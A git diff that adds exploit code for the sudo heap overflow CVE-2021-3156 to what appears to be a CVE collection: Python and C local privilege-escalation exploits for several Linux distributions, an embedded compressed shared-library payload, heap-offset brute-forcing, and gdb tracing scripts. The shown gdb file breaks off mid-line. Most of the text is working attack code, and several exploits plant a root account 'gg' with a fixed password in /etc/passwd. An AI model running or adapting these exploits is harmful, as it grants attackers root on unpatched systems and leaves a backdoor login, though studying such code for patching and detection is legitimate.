'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3' + with open(so_path, 'wb') as f: + f.write(zlib.decompress(base64.b64decode(libx_b64))) + +def check_nsswitch(): + idx = 0 + found_passwd = False + with open('/etc/nsswitch.conf', 'r') as f: + for line in f: + if line.startswith('#'): + continue # comment + line = line.strip() + if not line: + continue # empty line + words = line.split() + cnt = 0 + for word in words[1:]: + if word[0] != '[': + cnt += 1 + if words[0] == 'group:': + if not found_passwd: + return False + return cnt == 1 + if words[0] == 'passwd:': + if cnt != 1: + return False + found_passwd = True + # TODO: should check all line because they might affect offset + + return False + +assert check_nsswitch(), '/etc/nsswith.conf is not default. offset is definitely wrong' +create_libx("X/X1234") + +TARGET_CMND_SIZE = 0x30 + +argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b"\\", None ] + +env = [ + "A"*(0xf+0x50) + + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->next + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->service + pack("name, padding, service_user chunk size + "A"*0x10 + + "X/X1234\\", # service_user->name + "A"*0x8 + + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->library + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->known + "", # NULL 1 byte of pointer to library name + b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0x30+b";a=a", + b"LC_PAPER=C.UTF-8@"+b"L"*0x10, + b"LC_NAME=C.UTF-8@"+b"L"*0x1, + b"LC_TIME=C.UTF-8@"+b"L"*0x1, + b"LANG=C.UTF-8@"+b"Z"*0xd0, + None, +] + +execve(SUDO_PATH, argv, env) diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss_u16.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss_u16.py new file mode 100644 index 0000000000000000000000000000000000000000..f6b237158d6ff8c7b3a8e526db2d681d45f10bad --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss_u16.py @@ -0,0 +1,102 @@ +#!/usr/bin/python +''' +Exploit for CVE-2021-3156 on Ubuntu 16.04 by sleepya + +This exploit requires: +- glibc without tcache +- nscd service is not running +- only defaults /etc/nsswitch.conf (need adjust LC_* if changed) + +Below is important struct that MUST be carefully overwritten +- NULL name_database_entry->next and name_database_entry->service +- overwrite service_user object + +Note: Exploit might fail with certain configuration even on a tested target. Don't expect too much. + +Tested on: +- Ubuntu 16.04.1 +- Ubuntu 16.04 +''' +import os + +SUDO_PATH = b"/usr/bin/sudo" + +def execve(filename, argv, envp): + from ctypes import cdll, c_char_p, POINTER + + libc = cdll.LoadLibrary("libc.so.6") + libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(env))(*envp) + + libc.execve(filename, cargv, cenvp) + +def create_libx(name): + so_path = 'libnss_'+name+'.so.2' + if os.path.isfile(so_path): + return # existed + + so_dir = 'libnss_' + name.split('/')[0] + if not os.path.exists(so_dir): + os.makedirs(so_dir) + + import zlib + import base64 + + libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3' + with open(so_path, 'wb') as f: + f.write(zlib.decompress(base64.b64decode(libx_b64))) + +def check_nsswitch(): + idx = 0 + found_passwd = False + with open('/etc/nsswitch.conf', 'r') as f: + for line in f: + if line.startswith('#'): + continue # comment + line = line.strip() + if not line: + continue # empty line + words = line.split() + cnt = 0 + for word in words[1:]: + if word[0] != '[': + cnt += 1 + if words[0] == 'group:': + if not found_passwd: + return False + return cnt == 1 + if words[0] == 'passwd:': + if cnt != 1: + return False + found_passwd = True + # TODO: should check all line because they affect offset + + return False + +assert check_nsswitch(), '/etc/nsswith.conf is not default. offset is definitely wrong' +create_libx("X/X1234") + +TARGET_CMND_SIZE = 0x30 + +argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b"\\", None ] + +env = [ + b"A"*0xae+b"\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->next + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->service + "group\\", "A\\", # name_database_entry->name + b"A"*0x27+b"\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->library + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->known + b"X/X1234", # service_user->name + b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0xd0+b";a=a", + b"LC_PAPER=C_gggg.UTF-8@"+b"L"*0x30, + b"LC_NAME=C_gggg.UTF-8@"+b"L"*0x4, + b"LC_TIME=C_gggg.UTF-8@"+b"L"*0x1, + b"LANG=C.UTF-8@"+b"Z"*0xd0, + None, +] + +execve(SUDO_PATH, argv, env) diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_timestamp_race.c b/cve/sudo/2021/CVE-2021-3156/exploit_timestamp_race.c new file mode 100644 index 0000000000000000000000000000000000000000..a95938cc8a5196cf7af1c0d88ab30b8cf0a7b2ea --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_timestamp_race.c @@ -0,0 +1,332 @@ +/* +Exploit for CVE-2021-3156 with def_timestamp overwrite by sleepya + +This exploit requires: +- glibc with tcache +- at least 2 CPUs on target machine +- sudo version 1.8.x (1.9.x write size is fixed) + +gcc -O2 -o exploit_timestamp_race exploit_timestamp_race.c -ldl + +Tested on: +- Ubuntu 18.04 +- Ubuntu 20.04 +- Debian 10 +- CentOS 8 +- openSUSE 15.0 +*/ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// default sleep time for raceing. +// sleep time is automatically adjusted while running +// this value can be replaced by argv[1] +#define DEFAULT_SLEEP_MS 4000 + +#define PASSWD_FILE "/etc/passwd" +#define BACKUP_FILE "/tmp/passwd.bak" + +#define SUDO_PATH "/usr/bin/sudo" +// for no locale-langpack, working dir length MUST be 0x28-0x37 to create chunk size 0x40 +#define WORKING_DIR "/tmp/gogogo123456789012345678901234567890go" + +// user: gg, pass: gg +#define PASSWD_LINES "gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash" + +#define A8 "AAAAAAAA" +#define A10 A8 A8 +#define A20 A10 A10 +#define A40 A20 A20 +#define A80 A40 A40 +#define Ab0 A80 A20 A10 +#define Ae0 A80 A40 A20 +#define A200 A80 A80 A80 A80 +#define A400 A200 A200 +#define A800 A400 A400 +#define A1000 A800 A800 +#define A4000 A1000 A1000 A1000 A1000 +#define A10000 A4000 A4000 A4000 A4000 + +#define CURDIR10 "././././././././././" +#define CURDIR20 CURDIR10 CURDIR10 +#define CURDIR40 CURDIR20 CURDIR20 +#define CURDIR100 CURDIR40 CURDIR40 CURDIR20 + +// don't put "SUDO_ASKPASS" enviroment. sudo will fail without logging +static char *senv_nopack[] = { + "1234567" // Intention: no comma + // struct loaded_l10nfile + "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", // chunk metadata + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // filename + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // data + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // next + A80 A20 A8 // Intention: no comma + // struct loaded_l10nfile + "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", // chunk metadata + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // filename + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // data + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // next + A20 A10 A8 "1234567\\", + "", // tsdir + "\n" PASSWD_LINES "\n", + "LC_MESSAGES=C.UTF-8@" A80 A20 A8 "12345", + "LANG=C", + "TZ=:", + A10000, + NULL +}; +// ubuntu based +static char *senv_langpack[] = { + "1234567" A10 A8 "1234567\\", + "", // tsdir + "\n" PASSWD_LINES "\n", + "LC_MESSAGES=C.UTF-8@" A80 A20, + "LANG=C", + "TZ=:", + A10000, + NULL +}; +// opensuse +static char *senv_bundle[] = { + "123456\\", + "", // tsdir + "\n" PASSWD_LINES "\n", + "LC_MESSAGES=C.UTF-8@" A80 A20, + "LANG=C", + "TZ=:", + // sudoers.so (OpenSUSE) that linked with openssl is a mess. heap layout is changed every run. + // set OPENSSL_ia32cap=0 to make predictable heap layout. + "OPENSSL_ia32cap=0", + A10000, + NULL +}; + +static void backup_passwd() +{ + // backup + if (system("cp " PASSWD_FILE " " BACKUP_FILE) != 0) { + printf("Cannot backup passwd file\n"); + exit(1); + } + if (system("echo '"PASSWD_LINES"' >> "BACKUP_FILE) != 0) { + printf("Cannot append gg user in backup passwd file\n"); + exit(1); + } +} + +static size_t get_passwd_size() +{ + struct stat st; + stat(PASSWD_FILE, &st); + return st.st_size; +} + +static char* get_user() +{ + struct passwd *pw; + + pw = getpwuid(getuid()); + if (!pw) { + puts("Cannot get user name"); + exit(1); + } + + return strdup(pw->pw_name); +} + +static int find_mode() +{ + // find libc path + Dl_info info; + if (dladdr(exit, &info) == 0) { + printf("Cannot find libc path\n"); + exit(1); + } + + // map libc to memory + struct stat st; + int fd = open(info.dli_fname, O_RDONLY); + if (fstat(fd, &st) != 0) { + printf("Cannot load libc\n"); + exit(1); + } + void *addr = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); + + int mode = 1; + // use 'e-langpa' in case of optimization + if (memmem(addr, st.st_size, "e-langpa", 8) != 0) { + mode = 2; + } + if (memmem(addr, st.st_size, "e-bundle", 8) != 0) { + if (mode != 2) { + printf("has no /usr/share/locale-langpack but has /usr/share/locale-bundle\n"); + exit(1); + } + mode = 3; + } + + munmap(addr, st.st_size); + close(fd); + + return mode; +} + +const char *alnum = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_"; + +int main(int argc, char **argv) +{ + int sleep_us = DEFAULT_SLEEP_MS; + if (argc > 1) + sleep_us = atoi(argv[1]); + size_t initial_size = get_passwd_size(); + + backup_passwd(); + + char realdir_name[2] = {0}; + char link_timestamp_file[128]; + char *user = get_user(); + + int null_fd = open("/dev/null", O_RDWR); + if (null_fd == -1) { + perror("open"); + return 1; + } + + char *sudo_argv[] = { "sudoedit", "-A", "-s", Ae0 "\\", NULL }; + + char tsdir[0x100] = {0}; + strcpy(tsdir, CURDIR100); + char *dir_ptr = tsdir + sizeof(CURDIR100) - 1; + + char **sudo_env; + switch (find_mode()) { + case 1: + sudo_env = senv_nopack; + sudo_env[79] = tsdir; + break; + case 2: + sudo_env = senv_langpack; + sudo_env[1] = tsdir; + break; + case 3: + sudo_env = senv_bundle; + sudo_env[1] = tsdir; + sudo_argv[3] = A40 "\\"; + break; + default: + exit(1); + } + + mkdir(WORKING_DIR, 0750); + if (chdir(WORKING_DIR) != 0) { + perror("chdir"); + return 1; + } + + const char *curr_dir = alnum; + sprintf(link_timestamp_file, "%c/%s", *curr_dir, user); + + int success = 0; + struct stat st; + mode_t old_mask = umask(0); + for (int i = 0; i < 1000; ++i) { + *dir_ptr = *curr_dir; + realdir_name[0] = *curr_dir; + link_timestamp_file[0] = *curr_dir; + + int pid = fork(); + if (!pid) { + execve(SUDO_PATH, sudo_argv, sudo_env); + exit(0); + } + + usleep(sleep_us); + + if (mkdir(realdir_name, 0777) == -1) { + perror("mkdir"); + } + else if (symlink(PASSWD_FILE, link_timestamp_file) == -1) { + perror("symlink"); + } + else { + // all success. sudo will unlink it one time + for (int j = 0; j < 5000; j++) { + if (symlink(PASSWD_FILE, link_timestamp_file) == 0) { + // success again + printf("symlink 2nd time success at: %d\n", j); + break; + } + } + } + waitpid(pid, 0, 0); + + if (get_passwd_size() != initial_size) { + printf("[+] Success with %d attempts!\n", i); + printf("succes with sleep time %d us\n", sleep_us); + success = 1; + break; + } + + if (lstat(link_timestamp_file, &st) == 0) { + if (S_ISLNK(st.st_mode)) { + // symbolic link. create dir is too early + printf("Failed. can cleanup\n"); + sleep_us += 100; + } + else { + // failed to create 2nd symbolic link + printf("Failed to create 2nd symbolic\n"); + } + + // cleanup and reuse dir + if (unlink(link_timestamp_file) == 0) { + rmdir(realdir_name); + } else { + // should never happen + printf("Cannot remove symbolic link !!!\n"); + exit(0); + } + } + else { + // sudo create a directory before us. cannot reuse this dir + curr_dir++; + if (*curr_dir == '\0') { + printf("out of dir name\n"); + exit(1); + } + printf("change dir to: %c\n", *curr_dir); + // decrease sleep time + if (sleep_us > 0) + sleep_us -= 100; + } + } + + if (!success) { + printf("exploit failed\n"); + return 1; + } + + umask(old_mask); + + // restore /etc/passwd with an extra line. cleanup WORKING_DIR. + chdir("/"); + system("echo gg | su -c \"cp "BACKUP_FILE " " PASSWD_FILE ";rm -rf " WORKING_DIR "\" - gg "); + unlink(BACKUP_FILE); + + printf("now can use \"su - gg\" with 'gg' password to become root\n"); + + return 0; +} diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_userspec.py b/cve/sudo/2021/CVE-2021-3156/exploit_userspec.py new file mode 100644 index 0000000000000000000000000000000000000000..af2e15ad4f444d757b80d5f33516aabdca79bcc9 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_userspec.py @@ -0,0 +1,736 @@ +#!/usr/bin/python +''' +Exploit for CVE-2021-3156 with struct userspec overwrite by sleepya + +This exploit requires: +- glibc without tcache +- sudo version 1.8.9-1.8.23 (inclusive) +- patient (and luck). Bruteforcing might take time (almost instant to >10 mins) + +Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing + +Without glibc tcache, a heap layout rarely contains hole. +The heap overflow vulnerability is triggered after parsing /etc/sudoers. +The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec). + +Tested on: +- CentOS 7 (1.8.23) +- Ubuntu 16.04.1 +- Debian 9 +- Fedora 25 + +sudo version related info: +v1.8.9 +- change tq_pop to tailq_list +v1.8.11 +- move fatal callbacks to util. so cleanup is called correctly +v1.8.19 +- add line, file to userspec (chunk size 0x50) +v1.8.20 +- add timeout to cmndspec +- add notbefore and notafter to cmndspec +v1.8.21 +- move timeout in cmndspec to avoid padding (layout is changed) +v1.8.23 +- add comments to userspec struct (chunk size 0x60) +- add ldap field in privileges chunk +v1.8.24 +- add free_userpsecs() and free_defaults() with TAILQ_FIRST/TAILQ_REMOVE +''' +import os +import subprocess +import sys +import resource +import select +import signal +from struct import pack, unpack +from ctypes import cdll, c_char_p, POINTER + +SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit" + +TEE_PATH = b"/usr/bin/tee" +PASSWD_PATH = b'/etc/passwd' +APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n"; + +DEBUG = False + +# fake defaults object for finding offsets +# expect VSYSCALL permission is "r-x" on old Linux kernel +VSYSCALL_ADDR = 0xffffffffff600000 +defaults_test_obj = [ + b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # defaults.next + b"A"*8 + pack(" 0x10: + curr_size = (size_min + size_max) // 2 + curr_size &= 0xfff0 + print("\ncurr size: 0x%x" % curr_size) + argv[-2] = b"A"*(curr_size-0x10-len(PASSWD_PATH)-1)+b'\\' + exit_code, err = spawn(SUDO_PATH, argv, env) + print("\nexit code: %d" % exit_code) + print(err) + if exit_code == 256 and has_askpass(err): + # need pass. no crash. + # fit or almost fit + if found_size: + found_size = curr_size + break + # maybe almost fit. try again + found_size = curr_size + size_min = curr_size + size_max = curr_size + 0x20 + elif exit_code == 11: + # segfault. too big + if found_size: + break + size_max = curr_size + else: + # heap corruption. too small + size_min = curr_size + + if found_size: + return found_size + assert size_min == 0x2000 - 0x10 + print('has 2 holes. very big one is bad') + + size_min, size_max = 0xc00, 0x2000 + for step in (0x400, 0x100, 0x40, 0x10): + found = False + env[0] = b'A'*(7+0x4010+0x110-1+step+0x100) + for curr_size in range(size_min, size_max, step): + argv[-2] = b"A"*(curr_size-0x10)+b'\\' + exit_code, err = spawn(SUDO_PATH, argv, env) + print("\ncurr size: 0x%x" % curr_size) + print("\nexit code: %d" % exit_code) + print(err) + if exit_code in (7, 11): + size_min = curr_size + found = True + elif found: + print("\nsize_min: 0x%x" % size_min) + break + assert found, "Cannot find cmnd size" + size_max = size_min + step + + # TODO: verify + return size_min + +def find_defaults_chunk(argv, env_prefix): + offset = 0 + pos = len(env_prefix) - 1 + env = env_prefix[:] + env.extend([ b"LC_ALL=C", b"TZ=:", None ]) + # overflow until sudo crash without asking pass + # crash because of defaults.entries.next is overwritten + while True: + env[pos] += b'A'*0x10 + exit_code, err = spawn(SUDO_PATH, argv, env) + # 7 bus error, 11 segfault + if exit_code in (7, 11) and not has_askpass(err): + # found it + env[pos] = env[pos][:-0x10] + break + offset += 0x10 + + # new env_prefix + env_prefix = env[:-3] + + # tmp env_prefix for if it is defaults + env_prefix_def = env_prefix[:] + env_prefix_def[-1] += b'\x41\\' + env_prefix_def.extend([ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\' ]) + env_prefix_def.extend(defaults_test_obj) + + # verify if it is defaults + env = env_prefix_def[:] + env[-1] = env[-1][:-1] # remove 1 character. no overwrite next chunk with \x00 + env.extend([ b"LC_ALL=C", b"TZ=:", None ]) + + exit_code, err = spawn(SUDO_PATH, argv, env) + # old sudo verion has no cleanup if authen fail. exit code is 256. + if has_askpass(err): + assert exit_code in (256, 11) + #if exit_code == 256: no_cleanup = True # old sudo version. no freeing if auth fails + # it is defaults + return True, offset, env_prefix_def + + # no defaults, this one is likely struct member. + # reset offset. very rare case. + env_prefix[-1] = env_prefix[-1][:-offset] + return False, 0, env_prefix + +def find_member_chunk(argv, env_prefix): + # expect username ("root") chunk size 0x20 then follow by struct member + offset = 0 + pos = len(env_prefix) - 1 + env = env_prefix[:] + env[-1] = env[-1][:-1] + env.extend([ b"LC_ALL=C", b"TZ=:", None ]) + found_heap_corruption = False + past_member = False + while True: + exit_code, err = spawn(SUDO_PATH, argv, env) + if not has_askpass(err) or (found_heap_corruption and exit_code == 11): + assert offset > 0 + env[pos] = env[pos][:-0x10] + offset -= 0x10 + print('decrease offset to: 0x%x' % offset) + past_member = True + continue + if past_member: + break # found it + if exit_code == 6: + if found_heap_corruption: + break + found_heap_corruption = True + env[pos] += b'A'*0x30 + offset += 0x30 + print('offset member: 0x%x' % offset) + return offset + +def find_first_userspec_chunk(argv, env_prefix): + offset_member = find_member_chunk(argv, env_prefix) + + # after user member chunk, can safely skip 0x120 because of host, cmnd, cmndspec, privileges + SKIP_FIND_USERSPEC_SIZE = 0x120 + offset_pre = offset_member + SKIP_FIND_USERSPEC_SIZE + + pos = len(env_prefix) - 1 + env = env_prefix[:] + env[-1] += b'A'*offset_pre + b'A'*7 + b'\\' # append chunk metadata + tmp_env = env[-1] + env.extend([ + b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # next + b"A"*8 + # prev + b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # users.first + b"A"*8 + # users.last + b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"", # privileges.first + b"LC_ALL=C", b"TZ=:", None + ]) + + offset = _brute_userspec_offset(argv, env, pos, 0x100) + if offset is None: + offset = _find_single_userspec_chunk(argv, env_prefix, offset_member) + single_userspec = True + else: + offset += offset_pre + single_userspec = False + + env_prefix[-1] += b'A'*offset + return offset, env_prefix, single_userspec + +def _brute_userspec_offset(argv, env, pos, max_offset): + offset = None + for i in range(0, max_offset, 0x10): + exit_code, err = spawn(SUDO_PATH, argv, env) + #print("0x%x, exit: %d" % (i, exit_code)) + #print(err) + if has_askpass(err): + # found. 256 for ver <= 1.8.10 (no cleanup callback. no crash) + assert exit_code in (6, 7, 11, 256), "unexpect exit code: %d" % exit_code + offset = i + if exit_code == 6: + break + else: + assert exit_code == 11, 'expect segfault. got exit_code: %d' % exit_code + if offset is not None: + break + + env[pos] = env[pos][:-1] + b'A'*0x10 + b'\\' + + return offset; + +def _find_single_userspec_chunk(argv, env_prefix, offset_member=-1): + if offset_member == -1: + offset_member = find_member_chunk(argv, env_prefix) + + # finding offset of only one userspec needs bruteforcing a bit + # we need entires.prev pointing to a valid address that contains NULL pointer. + # search valid userspec by partial overwritten entries.prev + # Note: this offset search method is very bad if ASLR is disabled (likely to fail) + # For quick testing: run this exploit with ASLR enabled for getting offset. + # Then, disable ASLR and rerun exploit with offset arguments + print('cannot find a userspec. assume only 1 userspec (1 rule in sudoers).') + SKIP_FIND_USERSPEC_SIZE = 0x160 + offset_pre = offset_member + SKIP_FIND_USERSPEC_SIZE + + pos = len(env_prefix) - 1 + env = env_prefix[:] + env[-1] += b'A'*offset_pre + b'A'*7 + b'\\' # append chunk metadata + tmp_env = env[-1] + env.extend([ + b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # next + b"", b"", + b"LC_ALL=C", b"TZ=:", None + ]) + + # first, attempt with NULL least significant byte of prev + offset = _brute_userspec_offset(argv, env, pos, 0xc0) + # then, attempt with NULL 2nd least significant byte and bruteforcing least siginificat byte + # normally, valid offset should be found in 1 round + # if ASLR is disabed, 2nd round is useless because addresses are same as first round. + for _ in range(2): + if offset is not None: + break + + for val in range(0, 0x100, 0x8): + env[-5] = "\\" if val == 0 else pack('= 9, "too old sudo. this exploit method is unlikely (only exploitable with rare /etc/sudoer). not implement" + if sudo_vers[2] > 23: + # overwrite only string of first member + print("Warning: Only work if you known current user's password and no defaults. not implement") + exit(0) + return sudo_vers[2] + +def create_env(offset_defaults, offset_first_userspec, offset_userspec): + # offset_userspec + # - 0 if only first userspec is enough + # - -1 if only single userspec + with open('/proc/sys/kernel/randomize_va_space') as f: has_aslr = int(f.read()) != 0 + if has_aslr: + STACK_ADDR_PAGE = 0x7fffe5d35000 + else: + STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled + + SA = STACK_ADDR_PAGE + + ADDR_REFSTR = pack('var chunk (get freed) + b'\x21', b'', b'', b'', b'', b'', b'', + ADDR_PRIV[:6], b'', # pointer to privilege + ADDR_CMND[:6], b'', # pointer to cmndspec + ADDR_MEMBER[:6], b'', # pointer to member + + # fake def->binding (list head) (get freed) + b'\x21', b'', b'', b'', b'', b'', b'', + b'', b'', b'', b'', b'', b'', b'', b'', # members.first + ADDR_USER[:6], b'', # members.last (unused, so use it for single userspec case) + b'A'*0x8 + # pad + + # member chunk + b'\x31', b'', b'', b'', b'', b'', b'', # chunk size + b'A'*8 + # member.tqe_next (can be any) + ADDR_MEMBER_PREV[:6], b'', # member.tqe_prev + b'A'*8 + # member.name (can be any because this object is not freed) + pack('= 0x50: + env[-1] += b'A'*8 + ADDR_REFSTR[:6] + b'\\' + env.append(b'\\') + env.append(b'A'*8 + b'\x21\\') # padding, chunk size + else: + env[-1] += b'A'*8 + b'\x21\\' # padding, chunk size + env.extend([ + b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # need valid chunk metadata + b'A'*(offset_userspec-userspec_chunk_size-8+8-1)+b'\\' + ]) + + env.extend([ + # userspec chunk + # for single userspec, sudo might pass checking and cause heap corruption when freeing + # stack memory (with all zero). this case is slower than other cases. + # for >=2 userspecs, this chunk is not used because list is iterated with head->last->prev->next + ADDR_USER[:6]+b'\\', b'\\', # entries.tqe_next + ADDR_USER_PREV[:6]+b'\\', b'\\', # entries.tqe_prev + b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # users.tqh_first + #ADDR_MEMBER[:6]+b'\\', b'\\', # users.tqh_last + b'A'*8 + # users.tqh_last + b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'', # privileges.tqh_first + b"LC_ALL=C", + b"SUDO_EDITOR="+TEE_PATH+b" -a", # append stdin to /etc/passwd + b"TZ=:", + ]) + + # fill spray data + cnt = sum(map(len, epage)) + padlen = 4096 - cnt - len(epage) + epage.append(b'P'*(padlen-1)) + + ENV_STACK_SIZE_MB = 4 + for i in range(ENV_STACK_SIZE_MB * 1024 // 4): + env.extend(epage) + + # reserve space in last element for '/usr/bin/sudo' and padding + env[-1] = env[-1][:-14-8] + env.append(None) + + return env + +def run_until_success(argv, env): + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(env))(*env) + + r, w = os.pipe() + os.dup2(r, 0) + w = os.fdopen(w, 'wb') + w.write(APPEND_CONTENT) + w.close() + + null_fd = os.open('/dev/null', os.O_RDWR) + os.dup2(null_fd, 2) + + for i in range(65536): + sys.stdout.write('%d\r' % i) + if i % 8 == 0: + sys.stdout.flush() + exit_code = spawn_raw(SUDO_PATH, cargv, cenvp) + if exit_code == 0: + print("success at %d" % i) + break + if exit_code not in (6, 7, 11): + print("invalid offset. exit code: %d" % exit_code) + break + +def main(): + cmnd_size = int(sys.argv[1], 0) if len(sys.argv) > 1 else None + # -1 if no defaults + offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None + offset_first_userspec = int(sys.argv[3], 0) if len(sys.argv) > 3 else None + # offset_userspec is -1 if single userspec (only 1 rule in sudoers) + offset_userspec = int(sys.argv[4], 0) if len(sys.argv) > 4 else None + + if cmnd_size is None: + cmnd_size = find_cmnd_size() + print("found cmnd size: 0x%x" % cmnd_size) + + argv = [ b"sudoedit", b"-A", b"-s", PASSWD_PATH, b"A"*(cmnd_size-0x10-len(PASSWD_PATH)-1)+b"\\", None ] + + env_prefix = [ b'A'*(7+0x4010+0x110) ] + + if offset_defaults is None: + offset_defaults = -1 + found_defaults, offset, env_prefix = find_defaults_chunk(argv, env_prefix) + if found_defaults: + offset_defaults = offset + print('found defaults, offset: 0x%x' % offset_defaults) + else: + print('no defaults in /etc/sudoers') + offset_defaults = -1 + elif offset_defaults != -1: + env_prefix[-1] += b'A'*offset_defaults+b'\x41\\' + env_prefix.extend([ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\' ]) + env_prefix.extend(defaults_test_obj) + + # first userspec offset MUST be known for cleaning up without a crash + if offset_first_userspec is None: + if has_fatal_cleanup: + offset, env_prefix, single_userspec = find_first_userspec_chunk(argv, env_prefix) + offset_first_userspec = offset + print("\noffset to first userspec: 0x%x" % offset_first_userspec) + if single_userspec: + print("single userspec mode") + offset_userspec = 0 + else: + offset_first_userspec = 0 + else: + env_prefix[-1] += b'A'*(offset_first_userspec) + + if offset_userspec is None: + offset_userspec = find_target_userspec_chunk(argv, env_prefix) + + print('') + print("cmnd size: 0x%x" % cmnd_size) + offset_defaults_txt = -1 if offset_defaults == -1 else "0x%x" % offset_defaults + print("offset to defaults: %s" % offset_defaults_txt) + print("offset to first userspec: 0x%x" % offset_first_userspec) + offset_userspec_txt = -1 if offset_userspec == -1 else "0x%x" % offset_userspec + print("offset to userspec: %s" % offset_userspec_txt) + print("\nto skip finding offsets next time no this machine, run: ") + print("%s 0x%x %s 0x%x %s" % (sys.argv[0], cmnd_size, offset_defaults_txt, offset_first_userspec, offset_userspec_txt)) + + if offset_first_userspec == 0: + if not has_fatal_cleanup: + print("\nTarget sudo has bug. No idea to find first userspec.") + print("So the exploit will fail if a running user is in sudoers and not in first two rules.") + # swap value to use only first userspec + offset_first_userspec, offset_userspec = offset_userspec, offset_first_userspec + + env = create_env(offset_defaults, offset_first_userspec, offset_userspec) + run_until_success(argv, env) + +if __name__ == "__main__": + # global intialization + sudo_ver = check_sudo_version() + + DEFAULTS_CMND = 269 + if sudo_ver >= 15: + MATCH_ALL = 284 + elif sudo_ver >= 13: + MATCH_ALL = 282 + elif sudo_ver >= 7: + MATCH_ALL = 280 + elif sudo_ver < 7: + MATCH_ALL = 279 + DEFAULTS_CMND = 268 + + has_fatal_cleanup = sudo_ver >= 11 + has_file = sudo_ver >= 19 # has defaults.file pointer + + has_ldap = sudo_ver >= 23 + if sudo_ver < 19: + userspec_chunk_size = 0x40 + elif sudo_ver < 23: + userspec_chunk_size = 0x50 + else: + userspec_chunk_size = 0x60 + + main() diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7 new file mode 100644 index 0000000000000000000000000000000000000000..ffe22ebb15e53e0c29839ed77702358a78e32948 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7 @@ -0,0 +1,79 @@ +set breakpoint pending on +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +# open file. on old system might be open syscall +catch syscall openat +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + end + continue +end +# malloc +break __libc_malloc +commands + bt + continue +end +# malloc result. return value from _int_malloc +break malloc.c:2908 +commands + i r $rax + continue +end +# free +break __GI___libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break __GI___libc_realloc if $rdi != 0 +commands + bt + #x/4s $rdi + continue +end +# realloc return +#break 